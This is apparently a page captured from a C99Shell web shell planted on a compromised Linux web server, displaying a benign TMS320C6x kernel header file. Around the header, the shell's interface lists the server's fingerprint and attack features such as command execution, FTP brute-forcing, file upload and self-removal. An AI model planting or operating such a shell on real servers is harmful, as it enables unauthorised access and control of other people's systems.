!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-5.4.0-216/arch/c6x/include/asm/   drwxr-xr-x
Free 13.24 GB of 57.97 GB (22.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     special_insns.h (1.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-only */
/*
 *  Port on Texas Instruments TMS320C6x architecture
 *
 *  Copyright (C) 2004, 2009, 2010, 2011 Texas Instruments Incorporated
 *  Author: Aurelien Jacquiot (aurelien.jacquiot@jaluna.com)
 */
#ifndef _ASM_C6X_SPECIAL_INSNS_H
#define _ASM_C6X_SPECIAL_INSNS_H


#define get_creg(reg) \
    ({ unsigned int __x; \
       asm volatile ("mvc .s2 " #reg ",%0\n" : "=b"(__x)); __x; })

#define set_creg(reg, v) \
    do { unsigned int __x = (unsigned int)(v); \
        asm volatile ("mvc .s2 %0," #reg "\n" : : "b"(__x)); \
    } while (0)

#define or_creg(reg, n) \
    do { unsigned __x, __n = (unsigned)(n);          \
        asm volatile ("mvc .s2 " #reg ",%0\n"      \
                  "or  .l2 %1,%0,%0\n"      \
                  "mvc .s2 %0," #reg "\n"      \
                  "nop\n"              \
                  : "=&b"(__x) : "b"(__n));      \
    } while (0)

#define and_creg(reg, n) \
    do { unsigned __x, __n = (unsigned)(n);          \
        asm volatile ("mvc .s2 " #reg ",%0\n"      \
                  "and .l2 %1,%0,%0\n"      \
                  "mvc .s2 %0," #reg "\n"      \
                  "nop\n"    \
                  : "=&b"(__x) : "b"(__n));      \
    } while (0)

#define get_coreid() (get_creg(DNUM) & 0xff)

/* Set/get IST */
#define set_ist(x)    set_creg(ISTP, x)
#define get_ist()       get_creg(ISTP)

/*
 * Exception management
 */
#define disable_exception()
#define get_except_type()        get_creg(EFR)
#define ack_exception(type)      set_creg(ECR, 1 << (type))
#define get_iexcept()            get_creg(IERR)
#define set_iexcept(mask)        set_creg(IERR, (mask))

#define _extu(x, s, e)                            \
    ({      unsigned int __x;                    \
        asm volatile ("extu .S2 %3,%1,%2,%0\n" :        \
                  "=b"(__x) : "n"(s), "n"(e), "b"(x));    \
           __x; })

#endif /* _ASM_C6X_SPECIAL_INSNS_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--